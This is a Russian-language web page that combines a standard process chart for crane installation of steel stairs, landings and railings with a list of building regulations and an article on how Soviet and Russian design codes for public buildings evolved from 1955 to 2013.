Снип iii в 5 62 актуализированная редакция: Скачать СНиП Строительные нормы и правила
Монтаж стальных маршевых лестниц при строительстве
Монтаж стальных металлоконструкций и металлоизделий следует производить в соответствии с требованиями нормативных документов на монтаж и правилами, установленными проектом организации и производства монтажных работ.
При монтаже стальных маршевых лестниц, площадок и их ограждений необходимо руководствоваться требованиями следующих нормативных документов, отражающих достигнутый технический уровень строительного производства:
- СП 48.13330.2019 «Организация строительства. Актуализированная редакция СНиП 12-01-2004»
- СП 70.13330.2012 Несущие и ограждающие конструкции. Актуализированная редакция СНиП 3.03.01-87» (раздел 4 «Монтаж стальных конструкций»)
- СП 72.13330.2016 «Защита строительных конструкций и сооружений от коррозии. Актуализированная редакция СНиП 3.04.03-85»
- СНиП 12-03-2001 «Безопасность труда в строительстве. Часть 1. Общие требования»
- СНиП 12-04-2002 «Безопасность труда в строительстве. Часть 2. Строительное производство»
- ГОСТ 12.3.020-80 «Система стандартов безопасности труда (ССБТ). Процессы перемещения грузов на предприятиях. Общие требования безопасности»
- ВСН 274-88 «Правила техники безопасности при эксплуатации стреловых самоходных кранов»
При разработке Проектов производства работ (ППР) используются Типовые технологические карты (ТТК) — комплексные организационно-технологические документы, разработанные на основе методов научной организации труда для выполнения технологического процесса и определяющие состав производственных операций с применением наиболее современных средств механизации и способов выполнения работ по определённо заданной технологии.
ТТК является составной частью ППР и используется в составе ППР согласно МДС 12-81.2007 «Методические рекомендации по разработке и оформлению проекта организации строительства и проекта производства работ»
Типовая технологическая карта ТТК 07.17.03 (ТТК 7.02.01.60) применяется при организации строительства и производстве работ по монтажу металлических лестниц, площадок и ограждений в зданиях высотой до 35 метров стреловыми кранами грузоподъемностью 30 т и длиной стрелы 20 м
На базе ТТК в составе ППР (как обязательные составляющие Проекта производства работ) разрабатываются Рабочие технологические карты (РТК) на выполнение отдельных видов работ по монтажу стальных металлоизделий
Монтаж стальных конструкций (лестничных маршей, площадок и их ограждений) в объёме 15,0 т ведётся в две смены одновременно с монтажом каркаса здания и стеновых панелей звеном монтажников в количестве 5 человек с помощью стрелового крана в течение 5 смен.
До начала монтажа металлических лестниц, площадок и их ограждений должны быть выполнены следующие подготовительные работы:
- установлен монтажный кран
- завезены и складированы элементы лестниц, площадок и ограждений
- уложены стеллажи на площадке укрупнительной сборки
- завезены инвентарные приспособления и инструмент
- расставлены и запитаны электросварочные трансформаторы
В состав работ входят:
- укрупнительная сборка лестничных маршей, площадок и ограждений
- установка укрупнённых блоков в проектное положение
Укрупнение элементов в блоки производится на площадке укрупнительной сборки на стеллажах (см. рис.1) монтажниками в количестве 3 человек с помощью стрелового крана в следующем порядке:
- на стеллаж краном подаются марш, балки площадки с настилом, ограждения лестниц и площадок
- очищаются от грязи и ржавчины
- производится наметка мелом центровых рисок на косоурах лестничных маршей, балках лестничных площадок, указывающих места ограждения
- с помощью крана ограждение приставляется к одному из косоуров лестничного марша или к балке площадки, плотно прижимается с помощь» арматурного ключа
- делается выверка собранной конструкции по осям и размерам
- выполняется электроприхватка соединяемых элементов
- производится расстроповка и окончательная сварка укрупняемых элементов
- наносятся масляной краской марка укрупнённого блока, порядковый номер очередности монтажа, места строповки блоков и осевые риски
Монтаж укрупнённых блоков производится монтажниками в количестве 2 человек с помощью стрелового крана в следующей последовательности:
- ЛП-1
- ЛМ-1
- ЛП-2
- ЛП-3
- ЛП-4
- ЛМ-2
- ЛМ-3
- ЛМ-4
- Монтаж ЖБК
- ЛП-5
- ЛМ-5
- ЛМ-6
- Монтаж ЖБК
- ЛП-6
- ЛМ-7
- ЛМ-8
- Монтаж ЖБК
- ЛМ-9
- ЛМ-10
- ЛП-7
Монтируемые элементы до освобождения их от строп должны быть надёжно закреплены на временных болтах. Окончательное закрепление сваркой производится только после проверки правильности положения лестниц, площадок и ограждений. Допускаемые отклонения в положении смонтированных стальных конструкций от проектного не должны превышать следующих величин:
- Смещение осей укрупнённых блоков относительно разбивочных 5 мм
- Отклонение отметок опорных узлов стальных конструкций 20 мм
- Стрела прогиба между точками закрепления стальных конструкций не более 15 мм
В остальном руководствоваться правилами приёмки, изготовления и монтажа конструкций, изложенных в СНиП III-В.5-62 «Металлические конструкции. Правила изготовления, монтажа и приемки», СНиП III-18-75 «Металлические конструкции» и ГОСТ 23118 «Конструкции стальные строительные. Общие технические условия»
При производстве работ монтажники пользуются полуавтоматическими захватами, кольцевым стропом, алюминиевыми инвентарными навесными и приставными лестницами, монтажными люльками, арматурными ключами
Организация и методы труда рабочихСостав звена по профессиям и распределение работы
- Монтажники конструкций (3 чел.) — Строповка элементов, укрупнительная сборка, монтаж укрупнённых лестничных блоков и площадок с ограждениями
- Электросварщики-монтажники (2 чел.) — Сварка элементов и конструкций
- Машинист крана (1 чел.) — Подача элементов и укрупнённых блоков
Методы и приёмы работ
Распределение монтажных рабочих в звене по разрядам:
- Монтажники конструкций 4 разряда (2 чел.) — М1 и М2
- Электросварщик-монтажник 5 разряда (1 чел.) — ЭМ
- Электросварщик 4 разряда (1 чел.) — Э
- Монтажник конструкций 2 разряда (1 чел.) — М3
- Машинист крана 6 разряда (1 чел.) — МК
Выполнение монтажных работ монтажниками производится в следующем порядке:
На площадке укрупнительной сборки:
- монтажник М3 стропит и расстроповывает элементы лестниц, площадок и ограждений при укрупнении элементов, а также при подаче укрупнённых конструкций на монтаж
- монтажник конструкций M1 принимает и раскладывает укрупняемые элементы, наносит риски мест свариваемых поверхностей, пользуясь арматурным ключом, плотно прижимает свариваемые элементы друг к другу, ставит марку конструкции и число, соответствующее порядку монтажа
- электросварщик Э производит сварку элементов
На монтаже конструкций:
монтажник конструкций М2 и
График производства работ
Укрупнительная сборка лестничных площадок и маршей, сварочные работы
- Трудоёмкость на 1 т металлоконструкций — 15,408 чел-час
- Трудоёмкость на весь объём (15 т) — 17,91 чел-дней
Понтах лестничных площадок, маршей сварочные работы
- Трудоёмкость на 1 т металлоконструкций — 7,752 чел-час
- Трудоёмкость на весь объём (15 т) — 9,01 чел-дней
Техника безопасности
Производство монтажных работ в двух и более ярусах по одной вертикали без соответствующих защитных устройств (сетки, козырьки, перила) не разрешается.
В остальном при производстве работ руководствоваться правилами техники безопасности, приведёнными в СНиП III-В.5-62 «Металлические конструкции. Правила изготовления, монтажа и приемки», СНиП III-18-75 «Металлические конструкции» и ГОСТ 23118 «Конструкции стальные строительные. Общие технические условия»
Калькуляция трудовых затрат (ло ЕНиР-1969)
- Укрупнительная сборка лестничных маршей — 8,4 чел-час / т, в т.ч. работа машиниста при сборке лестничных маршей — 2,8 чел-час / т
- Укрупнительная сборка лестничных площадок — 6,48 чел-час / т, в т.ч. работа машиниста при сборке лестничных площадок — 2,16 чел-час / т
- Сварочные работы при сборке лестничных маршей — 0,155 чел-час / пог.м
- Монтаж лестничных маршей и площадок — 3,0 чел-час / т Добавлять 0,96 чел-час / элемент, в т.ч. работа машиниста на монтаже — 0,565 чел-час / т
- Сварочные работы на монтаже — 0,23 чел-час / пог.м
ГЭСН 39-01-009-05 Монтаж металлических: лестниц и площадок
Состав работ:
- Подготовка конструкций к монтажу
- Подача конструкций к месту установки
- Установка конструкций в проектное положение
- Установка анкерных болтов.
Трудозатраты на монтаж 1 т металлоконструкций:
- Затраты труда рабочих-строителей (разряд 4,3) — 44,36 чел-час
- Затраты труда машинистов — 10,05 чел-час
Расход основных материалов на монтаж 1 т металлоконструкций
- Проволока порошковая для дуговой сварки — 10 кг
- Электроды диаметром 4 мм Э42 — 10 кг
- Кислород технический газообразный — 7,52 куб.м
- Пропан-бутан, смесь техническая — 2,34 кг
§ Е5-1-3. Укрупнительная сборка стальных конструкций
Нормами предусмотрена укрупнительная сборка из отправочных заводских элементов в конструктивные элементы и сборка конструкций элементов в блоки (пространственные и плоскостные) на стеллажах и кондукторах.
Состав работ
При помощи крана:
- Удерживание оттяжек при подаче отправочных заводских элементов конструкций (конструктивных элементов блока) с укладкой
- Стыковка отправочных заводских элементов конструкций (конструктивных элементов блока) с наводкой отверстий
- Выверка собранной конструкции (блока) по осям, диагоналям, отметкам
- Удерживание оттяжек при снятии и складировании конструкций или блока.
Вручную:
- Подноска отправочных заводских элементов
- Укладка на стеллажи или кондуктор
- Стыковка отправочных заводских элементов с наводкой отверстий
§ Е5-1-10 Монтаж площадок, лестниц, мостиков, ограждений
Состав работы:
- Удерживание оттяжек при подъеме
- Установка конструкций
- Выверка
- Удерживание конструкций при временном креплении.
- Трудоёмкость на весь объём (15 т) — 26,91 чел-дней (по ЕНиР — 28,94)
- Трудоёмкость на 1 т металлоконструкций — 1,86 чел-дней (по ЕНиР — 2,00)
- Выработка на 1 рабочего в смену — 0,48 т (по ЕНиР — 0,52)
- Количество машино-смен монтажного крана — 5,18 (по ЕНиР — 5.57)
Основные материалы, полуфабрикаты и строительные детали:
- Металлоконструкции лестниц,, площадок и ограждений — 15,0 т
- Электроды Э-42 — 510,0 кг
ГОСТы и СП — Компания ФРАМ
Свод правил СП 54.13330.2011 «СНиП 31-01-2003. Здания жилые многоквартирные» (утв. приказом Министерства регионального развития РФ от 24 декабря 2010 г. N 778)
Свод правил СП 118.13330.2012 «СНиП 31-06-2009. Общественные здания и сооружения» (утв. приказом Министерства регионального развития РФ от 29 декабря 2011 г. N 635/10)
В настоящем своде правил приведены требования, соответствующие целям Федерального закона от 30 декабря 2009 г. N 384-ФЗ «Технический регламент о безопасности зданий и сооружений» с учетом части 1 статьи 46 Федерального закона от 27 декабря 2002 г. N 184-ФЗ «О техническом регулировании
Строительные нормы и правила СНиП 2.01.07-85* «Нагрузки и воздействия» (утв. постановлением Госстроя СССР от 29 августа 1985 г. N 135) (с изменениями от 5 июля 1993 г., 29 мая 2003 г.) Взамен главы СНиП II-6-74 Срок введения в действие — 1 января 1987 г.
Строительные нормы и правила СНиП 3.03.01-87 «Несущие и ограждающие конструкции» (утв. постановлением Госстроя СССР от 4 декабря 1987 г. N 280) (с изменениями от 22 мая 2003 г.) Взамен СНиП III-15-76; СН 383-67; СНиП III-16-80; СН 420-71; СНиП III-18-75; СНиП III-17-78; СНиП III-19-76; СН 393-78 Срок введения в действие — 1 июля 1988 г.
ГОСТ 25772-83 УДК 691.7.028.8.022.385:006.354 Группа Ж34 ГОСУДАРСТВЕННЫЙ СТАНДАРТ СОЮЗА ССР Ограждения лестниц, балконов и крыш стальные
СИСТЕМА НОРМАТИВНЫХ ДОКУМЕНТОВ В СТРОИТЕЛЬСТВЕ СТРОИТЕЛЬНЫЕ НОРМЫ И ПРАВИЛА РОССИЙСКОЙ ФЕДЕРАЦИИ ОРГАНИЗАЦИЯ СТРОИТЕЛЬСТВА СНиП 12-01-2004 ФЕДЕРАЛЬНОЕ АГЕНТСТВО ПО СТРОИТЕЛЬСТВУ И ЖИЛИЩНО-КОММУНАЛЬНОМУ ХОЗЯЙСТВУ (РОССТРОЙ) Москва 2004
МИНИСТЕРСТВО РОССИЙСКОЙ ФЕДЕРАЦИИ ПО ДЕЛАМ ГРАЖДАНСКОЙ ОБОРОНЫ, ЧРЕЗВЫЧАЙНЫМ СИТУАЦИЯМ И ЛИКВИДАЦИИ ПОСЛЕДСТВИЙ СТИХИЙНЫХ БЕДСТВИЙ СВОД ПРАВИЛ СП 1.13130.2009 Системы противопожарной защиты ЭВАКУАЦИОННЫЕ ПУТИ И ВЫХОДЫ
Изменением N 1, утвержденным постановлением Госстроя СССР от 31 декабря 1987 г. N 323, в настоящий ГОСТ внесены изменения, вступающие в силу с 15 января 1988 г. См. текст ГОСТа в предыдущей редакции Государственный стандарт СССР ГОСТ 9818-85 «Марши и площадки лестниц железобетонные. Технические условия» (утв. постановлением Госстроя СССР от 14 марта 1985 г. N 28) (с изменениями от 31 декабря 1987 г.) Reinforced concrete flights of steps and stair landings. Specifications Взамен ГОСТ 9818.0-81 Дата введения 1 января 1986 г.
ГОСТ Р 51261-99 ГОСУДАРСТВЕННЫЙ СТАНДАРТ РОССИЙСКОЙ ФЕДЕРАЦИИ УСТРОЙСТВА ОПОРНЫЕ СТАЦИОНАРНЫЕ РЕАБИЛИТАЦИОННЫЕ ТИПЫ И ТЕХНИЧЕСКИЕ ТРЕБОВАНИЯ ГОССТАНДАРТ РОССИИ
ГОСУДАРСТВЕННЫЙ СТАНДАРТ РФ СТЕКЛО ЗАКАЛЕННОЕ СТРОИТЕЛЬНОЕ ТЕХНИЧЕСКИЕ УСЛОВИЯ ГОСТ 30698-2000 Введен в действие с 1 июля 2001 г. в качестве государственного стандарта Российской Федерации постановлением Госстроя России от 10 января 2001г. N2
Нормы пожарной безопасности НПБ 245-2001 «Лестницы пожарные наружные стационарные и ограждения крыш. Общие технические требования. Методы испытаний» (утв. приказом ГУГПС МВД РФ от 28 декабря 2001 г. N 90) Fixed fire ladders to be installed outside buildings. Buildings roof railings. General technical requirements. Test methods Взамен НПБ 245-97
Утвержден Минтопэнерго России 14 марта 1996 года Минстроем России 20 мая 1996 года РУКОВОДЯЩИЙ ДОКУМЕНТ СВАРКА И КОНТРОЛЬ КАЧЕСТВА СВАРНЫХ СОЕДИНЕНИЙ МЕТАЛЛОКОНСТРУКЦИЙ ЗДАНИЙ ПРИ СООРУЖЕНИИ ПРОМЫШЛЕННЫХ ОБЪЕКТОВ РД 34 15.132-96
Строительные нормы и правила СНиП 35-01-2001 «Доступность зданий и сооружений для маломобильных групп населения» (приняты постановлением Госстроя РФ от 16 июля 2001 г. N 73) Accessibility of buldings and structures for physically handicapped persons Взамен ВСН 62-91* (кроме требований к специализированным зданиям) Дата введения 1 сентября 2001 г.
ПРИКАЗ РОССТАНДАРТА от 01.06.2010 № 2079 Об утверждении Перечня документов в области стандартизации, в результате применения которых на добровольной основе обеспечивается соблюдение требований Федерального закона от 30 декабря 2009 года N 384-ФЗ «Технический регламент о безопасности зданий и сооружений» (с изменениями на 10 сентября 2013 года)
СВОД ПРАВИЛ,ДОСТУПНОСТЬ ЗДАНИЙ И СООРУЖЕНИЙ ДЛЯ МАЛОМОБИЛЬНЫХ ГРУПП НАСЕЛЕНИЯ
АКТУАЛИЗИРОВАННАЯ РЕДАКЦИЯ
СНиП 35-01-2001
Свод правил СП 70.13330.2012 «СНиП 3.03.01-87. Несущие и ограждающие конструкции» (утв. приказом Федерального агентства по строительству и жилищно-коммунальному хозяйству от 25 декабря 2012 г. N 109/ГС)
Об утверждении перечня национальных стандартов и сводов правил, в результате применения которых на обязательной основе обеспечивается соблюдение требований Федерального закона «Технический регламент о безопасности зданий и сооружений»
Свод правил СП 48.13330.2011 «СНиП 12-01-2004. Организация строительства» (утв. приказом Министерства регионального развития РФ от 27 декабря 2010 г. N 781)
Технический регламент о требованиях пожарной безопасности (с изменениями на 2 июля 2013 года)
Строительные нормы и правила СНиП 3.01.04-87 «Приемка в эксплуатацию законченных строительством объектов. Основные положения» (утв. постановлением Госстроя СССР от 21 апреля 1987 г. N 84) С изменениями и дополнениями от: 18 ноября 1987 г. Срок введения в действие 1 января 1988 г. С введением в действие СНиП 3.01.04-87 утрачивают силу СНиП III-3-81 «Приемка в эксплуатацию законченных строительством объектов. Основные положения»
Свод правил СП 56.13330.2011 «СНиП 31-03-2001. Производственные здания» (утв. приказом Министерства регионального развития РФ от 30 декабря 2010 г. N 850)
NormaCS ~ Статьи ~ Анализ трансформации нормативных документов по Общественным зданиям
После Октябрьской революции в 20-х годах прошлого века было сделано несколько попыток приспособить «Урочное положение» к новым условиям, а затем проведён коренной его пересмотр и издан новый по форме и содержанию нормативный сборник – «Свод производственных строительных норм» (1927 – 1930).
Первые утвержденные нормы по проектированию как обязательные для строительства относятся к 1930г.: «Единые нормы строительного проектирования». Они устанавливали правила составления проектов, нормы проектирования жилищных, санитарных, лечебных, школьно-просветительных, общественных, сельскохозяйственных, производственных, административных и торговых зданий и сооружений и содержали расчетные нагрузки, нормы расчета зданий и сооружений, отопительных установок, нормы проектирования конструкций из камня, дерева, металла, бетона и железобетона, оснований и фундаментов гражданских и производственных зданий промышленных предприятий.
В 1936 г. были введены в действие Нормы по промышленному строительству, состоявшие из трех разделов: Правила составления чертежей, Общестроительные расчетные нормы, Санитарно-технические нормы.
В 1939 г. Комитетом по делам строительства при СНК СССР утверждены и введены в действие новые «Санитарные нормы и правила строительного проектирования промышленных предприятий» и «Общесоюзные противопожарные нормы строительного проектирования промышленных предприятий».
1955 год ознаменован вступлением в силу первых Строительных норм и правил (далее СНиП). Первые СНиПы были изданы 1954 г., и были довольно объемные по содержанию, а количество страниц достигало четырехсот.
Структура СНиПов предусматривала четыре части:
- СНиП I «Строительные материалы, детали и конструкции»,
- СНиП II «Нормы строительного проектирования»,
- СНиП III «Правила производства и приемки строительных работ»,
- СНиП IV «Сметные нормы на строительные работы».
Каждая часть разделена на отдельные разделы, а те в свою очередь на главы и параграфы. По мере проведения научных исследований в области строительства, наращивания опыта проектирования, возведения и эксплуатации зданий — пересматриваются отдельные главы СНиПов. В государстве впервые начинает проводиться единая система технической политики нормативного регулирования см. Таблицу 1.
Подробнее предлагаю остановиться на нормативных документах для общественных зданий.
В 1962г. Госстрой СССР принимает решение о разделении СНиП II на отдельные СНиПы по основным группам зданий. Идет заметное увеличение издания нормативных документов — их количество ориентировочно достигает 20 отдельных СНиПов в период с 1962-1972 годы см. Таблицу 2.
В 1985 происходит объединение общественных зданий в единый нормативный документ — СНиП 2.08.02-85 «Общественные здания и сооружения», и выходит Пособие к СНиП 2.08.02-85 «Пособие по проектированию общественных зданий и сооружений». Так же часть документов переведены в статус ВСН см. Таблицу 3.
Но уже в 1987-1989 гг. идет увеличение количества документов (Пособия к СНиП, ВСНы, ТСНы, СанПиНы) в дополнение к СНиП 2.08.02-89. Причиной этому, очевидно, послужил недостаток информации в усеченном СНиПе. И делается это вновь по типам общественных зданий: театры, клубы, бассейны, учебные комплексы и центры, предприятия бытового обслуживания населения, спортивные залы и т.д. По сути же, это повторение «старой» системы СНиПов, только в других названиях нормативов см. Таблицы 4, 5, 6, 7, 8, 9.
В 2003 г. выходит СНиП 31-05-2003 «Общественные здания административного назначения».
С 1 января 2010 года вводится в действие СНиП 31-06-2009 «Общественные здания и сооружения» — актуализированная редакция СНиП 2.08.02-89.
В СНиП 31-06-2009 появляется запись: «С введением в действие СНиП 31-06 справочные пособия к СНиП 2.08.02-89* отменяются».
Стоит упомянуть и о попытке развить Своды правил (СП) добровольного применения, Территориальные строительные нормы (ТСН), которые пришли на смену, а частично в развитие Пособиям. Например:
- СП 31-112-2004 «Физкультурно-спортивные залы. Часть 1, 2»;
- СП 31-112-2007 «Физкультурно-спортивные залы. Часть 3. Крытые ледовые арены»;
- МГСН 4.16-98, ТСН 31-316-99 «Гостиницы. г. Москва»;
Приказ от 21 июля 2005 № 86 Федерального агентства по туризму «Система классификации гостиниц и других средств размещения».К сожалению, часть объемно-планировочных требований неоправданно перемещена в СанПиНы, что только усугубило некоторые решения по детским дошкольным учреждениям, школам, объектам здравоохранения.
Сегодня не существует единого координирующего центра или межведомственного регламента, который должен решить вопросы по согласованию нормативных документов, на предмет дублирования или противоречащих требований. В сложившемся бардаке нормативно технического регулирования в строительстве — проектировщик выступает в роли заложника, при принятии ответственных решений. Взять к примеру, требования пожарной безопасности, прописанные в актуализированных СНиПах (СП). Не понятно — почему документы, которые содержат требования пожарной безопасности, не согласовываются (как это требует статья 20, 69-ФЗ «О пожарной безопасности») с МЧС России (являющимся согласно Указа Президента Российской Федерации от 11.07.2004 г № 868 Федеральным органом исполнительной власти, уполномоченным на решение задач в области пожарной безопасности). Необходимо ввести вновь запись в начале нормативного документа с какими органами исполнительной власти, ведомствами, агентствами согласована редакция. Это позволит в целом качественно улучшить вновь пересматриваемую нормативную базу документов.
Отдельно рассмотрим обновленную структуру содержания СП 118.13330.2012: предлагаю начать обсуждение с Раздела 5 Оптимальные безопасные параметры основных помещений. Почему именно с него? Дело в том, что с него начинаются требования к различным типам зданий, которые перечислены друг за другом. Из всех этих требований сформированных в один раздел, трудно ориентироваться по типам общественных зданий. Предложение при очередном внесении изменений в СП 118.13330 — выполнить подразделы по типам зданий для предметного изучения конкретного раздела. Сейчас приходиться пересматривать целый раздел для уточнения какой-нибудь детали по конкретному типу зданий.
Ещё в период 60-х — 95-х разрабатывались Нормали, которые служили наглядным пособием по проектированию и издавались отдельными выпусками по классификации зданий: гостиницы, школы, больницы лечебные здания и др. Нормали вносили типологические разъяснения или вариантность решений при проектировании зданий.
За период, с 1955 года по 2013 год произошла значительная трансформация СНиПов. Значительно сократилось количество нормативных документов по отдельным типам общественных зданий. На 1 января 2013 года проектное сообщество имеет один единственный нормативный документ по общественным зданиям – это СП 118.13330.2012 «Общественные здания и сооружения». До сих пор некоторые типы общественных зданий не имеют норм проектирования, изложенных в СНиПах (Сводах правил): зоопарки (крытые или открытые), здания цирков, здания аквапарков и т.д. В период становления системы нормативного технического регулирования утрачены ряд документов без замены, регулирующие требования к определенным помещениям или функциональному размещению групп этих помещений. К ним можно отнести указания по проектированию сооружений для стрелкового спорта тиров и стрельбищ, зданий музеев и т.д. Очевидно, назрела необходимость еще раз проанализировать СП 118.13330.2012, Приложение В (справочное) Перечень основных функционально-типологических групп зданий и помещений общественного назначения на предмет того, в состоянии ли сегодня один единственный СП 118.13330.2012- удовлетворить минимально необходимые требования предъявляемые к изложенному перечню зданий и помещений. Если нет, то необходимо обозначить эту проблему как минимум на уровне федеральных органов исполнительной власти. Сегодня требования всех типов зданий и сооружений общественного назначения изложены на 77 страницах. СП 118.13330 урезан до такой степени, что больше напоминает документ, описывающий самые общие требования общественных зданий, без необходимых специфических особенностей. По некоторым общественным зданиям можно встретить в тексте одно или несколько упоминаний об искомом типе здания или помещения.
Тенденция по укрупнению нормативных документов общественных зданий привела к разложению системы. И это тогда, когда необходимо при развитии инфраструктуры городов проектировать современные объекты капитального строительства. Подведомственные институты министерств, профильные ведомства, органы исполнительной власти разрабатывают нормативные документы без согласованию между собой. Продуктом их не системной деятельности явились: ОСТы, Приказы профильных министерств, СанПиНы (не согласованные с СНиП), РМД и т.д., которые лишь усугубили ситуацию по ориентации и обновлению нормативно-технической базы.
Считаю, что «система 60-х» была наиболее логичной, когда объекты общественных зданий были выделены в отдельные нормативные документы, в полной мере раскрывающие особенности проектирования данного конкретного типа общественного здания.
Предложение вернуться к системе профильных нормативных документов по типам общественных зданий. Основная идея этого варианта — принцип единого нормативного документа для каждого типа здания. Нормативный документ должен содержать всё необходимое (все – объемно-планировочные требования, пожарные, санитарные, требования по доступности МГН, и т.д.) для проектирования данного типа здания, где на первой странице будет запись о согласовании со всеми необходимыми органами. Все остальные документы необходимо отменить или оставить за скобками обязательных документов. Все нормативные документы (а также будущие изменения) должны проходить через единый координирующий центр, который и несет ответственность за конечный результат.
Подготовил: Блиндер А.Е.
e-mail:
Приложение 1
Формирование структуры нормативных документов общественных зданий (1955-2013 г.)
Таблица 1
| Система первой классификации Общественных зданий (1955 г.) | ||
| 1 | СНиП II (1955г.), Глава 11, Общественные здания §1 Общие указания | Нормы строительного проектирования: §Лечебно-профилактические учреждения §Детские ясли §Детские сады §Общеобразовательные школы §Кинотеатры §Коммунальные бани §Коммунальные прачечные §Магазины §Предприятия общественного питания |
Таблица 2
Система классификации 1962-х | |||
| СНиП II-А.1-62 | Нормы строительного проектирования. Общая часть. (стр.6) | ||
| СНиП II-А.3-62 | «Классификация зданий и сооружений. Основные положения проектирования» (взамен СНиП II-А.1-54) | ||
| * | СНиП II-Л.2-62 | Общественные здания и сооружения. Основные положения проектирования. (взамен § 1 и 2 главы II-В.11 СНиП изд.1954г.) Область применения: Нормы настоящей главы распространяются на проектирование следующих видов общественных зданий и сооружений: а) детских яслей-садов; б) общеобразовательных школ и школ-интернатов; в) профессионально-технических и сельскохозяйственных учебных заведений; г) высших и средних специальных учебных заведений; д) магазинов; е) предприятий общественного питания; ж) лечебно-профилактических учреждений; и) санаториев и домов отдыха; к) спортивных сооружений; л) пионерских лагерей; м) бань; н) прачечных; п) кинотеатров; р) клубов. | |
| 1 | СНиП II-Л.3-62 | Детские ясли-сады. Нормы проектирования (взамен § 4 и 5 главы II-В.11 СНиП изд.1954г.) | |
| 2 | СНиП II-Л.4-62 | Общеобразовательные школы и школы-интернаты. Нормы проектирования (взамен § 6 главы II-В.11СНиП изд.1958 г. и СН 22-58) | |
| 3 | СНиП II-Л.7-62 | Магазины. Нормы проектирования (взамен § 10 главы II-В.11 СНиП изд.1954 г. и Н 105-52) | |
| 4 | СНиП II-Л.9-62 | Больницы. Нормы проектирования (взамен § 3 главы II-В.11 СНиП изд. 1954 г.) | |
| 5 | СНиП II-Л.13-62 | Бани. Нормы проектирования (взамен § 8 главы II-В.11 СНиП изд.1954 г.) | |
| 6 | СНиП II-Л.14-62 | Прачечные. Нормы проектирования (взамен § 9 главы II-В.11 СНиП изд.1954 г.) | |
| 7 | СНиП II-Л.19-62 | Учреждения отдыха. Нормы проектирования (взамен СН 3-57) | |
| 8 | СНиП II-Л.10-62 | Санатории. Нормы проектирования (взамен СН 3-57) | |
| 9 | СНиП II-Л.17-65 | Гостиницы. Нормы проектирования (взамен СНиП II-В.10) | |
| 10 | СНиП II-Л.6-67 | Высшие учебные заведения. Нормы проектирования (вышел впервые с 1955г.) | |
| 11 | СНиП II-Л.5-68 | Профессионально-технические училища. Нормы проектирования (вышел впервые с 1955г.) | |
| 12 | СНиП II-Л.5-68 | Профессионально-технические училища. Нормы проектирования. | |
| 13 | СНиП II-Л.15-68 | Кинотеатры. Нормы проектирования (взамен § 7 главы II-В.11 СНиП изд.1954 г. и СН 30-58) | |
| 14 | СНиП II-Л.12-68 | Пионерские лагеря. Нормы проектирования (взамен СН 131-55) | |
| 15 | СНиП II-Л.20-69 | Театры. Нормы проектирования (взамен Временные нормы строительного проектирования театров) | |
| 16 | СНиП II-Л.7-70 | Магазины. Нормы проектирования (взамен СНиП II-Л.7-62) | |
| 17 | СНиП II-Л.11-70 | Спортивные сооружения. Нормы проектирования (взамен СН 16-58) | |
| 18 | СНиП II-Л.9-70 | Больницы и поликлиники. Нормы проектирования (взамен СНиП II-69-78) | |
| 19 | СНиП II-Л.18-71 | Средние специальные учебные заведения. Нормы проектирования | |
| 20 | СНиП II-Л.16-71 | Клубы. Нормы проектирования (взамен СН 44-59) | |
| 21 | СНиП II-Л.8-71 | Предприятия общественного питания. Нормы проектирования (взамен главы II-В.11 СНиП изд.1954 г., СН 408-70, СН 87-60) | |
| 22 | СНиП II-Л.3-71 | Детские ясли-сады. Нормы проектирования (взамен СНиП II-Л.3-62, СН 353-66, СН 403-69) | |
| 23 | СНиП II-Л.21-71 | Предприятия бытового обслуживания населения. Нормы проектирования. | |
Система классификации 1972-х…1980-х | |||
| * | СНиП II-Л.2-72 | Общественные здания и сооружения. Нормы проектирования. Общая часть. | |
| 1 | СНиП II-65-73 | Общеобразовательные школы и школы-интернаты (взамен СН 353-66, СНиП II-Л.4-62) | |
| 2 | СНиП II-70-74 | Санатории (взамен СНиП II-Л.10-62) | |
| 3 | СНиП II-80-75 | Предприятия бытового обслуживания населения (взамен СНиП II-Л.13-62, СНиП II-Л.14-62, СНиП II-Л.21-71) | |
| СНиП II-73-76 | Кинотеатры (взамен СНиП II-Л.15-68) | ||
| 4 | СНиП II-69-78 | Лечебно-профилактические учреждения (взамен СНиП II-Л.9-70) | |
| 5 | СНиП II-84-78 | Здания управлений (взамен ВСН 27-76) | |
| 6 | СНиП II-83-78 | Здания конструкторских и проектных организаций (взамен ВСН 27-76) | |
| 7 | СНиП II-66-78 | Профессионально-технические и средние специальные учебные заведения (взамен СНиП II-Л.18-71, СНиП II-Л.5-68) | |
| 8 | СНиП II-68-78 | Высшие учебные заведения (взамен СНиП II-Л.6-67) | |
| 9 | СНиП II-76-78 | Спортивные сооружения (взамен ВСН 3-71, ВСН 6-71, СНиП II-Л.11-70,) | |
| СНиП II-79-78 | Гостиницы (взамен СНиП II-Л.17-65) | ||
| 10 | СНиП II-71-79 | Оздоровительные учреждения и учреждения отдыха (взамен СНиП II-Л.12-68, СНиП II-Л.19-62) | |
| 11 | Пособие к СНиП II-71-79 | Пособие по проектированию баз отдыха вузовских коллективов | |
| 12 | СНиП II-47-80 | Аэродромы (взамен СН 120-70) | |
| 13 | СНиП II-85-80 | Вокзалы (взамен ОНТП-АВ-2-80) | |
| 14 | Пособие к СНиП II-85-80 | Пособие по проектированию вокзалов | |
| 15 | СНиП II-64-80 | Детские дошкольные учреждения (взамен СНиП II-Л.3-71) | |
| 16 | Пособие к СНиП II-64-80 | Пособие по проектированию детских дошкольных учреждений | |
| 17 | СНиП II-77-80 | Магазины (взамен СНиП II-Л.7-70) | |
Система классификации 1985-х | |||
| 1 | СНиП 2.08.02-85 (13стр.) | Общественные здания и сооружения (взамен СНиП II-Л.2-72) | |
| 2 | Пособие к СНиП 2.08.02-85 | Пособие по проектированию общественных зданий и сооружений | |
| Система классификации 1989-х | |||
| 1 | СНиП 2.08.02-89 (38стр.) | Общественные здания и сооружения (взамен СНиП 2.08.02-85) | |
| 2 | Пособие к СНиП 2.08.02-89 | Пособие по проектированию учреждений здравоохранения:- Раздел I — «Общие положения. Инженерное оборудование»- Раздел II – «Стационары»- Раздел III- «Специализированные, вспомогательные подразделения и служебно-бытовые помещения»- Раздел IV – «Амбулаторно-поликлинические учреждения»- Раздел V – «Станция скорой и неотложной медицинской помощи, станция переливания крови с виварием, молочные кухни, раздаточные пункты, аптеки, контрольно-аналитические лаборатории» | |
| 3 | Пособие к СНиП 2.08.02-89 | Проектирование театров | |
| 4 | Пособие к СНиП 2.08.02-89 | Проектирование клубов | |
| 5 | Пособие к СНиП 2.08.02-89 | Проектирование бассейнов | |
| 6 | Пособие к СНиП 2.08.02-89 | Проектирование учебных комплексов и центров | |
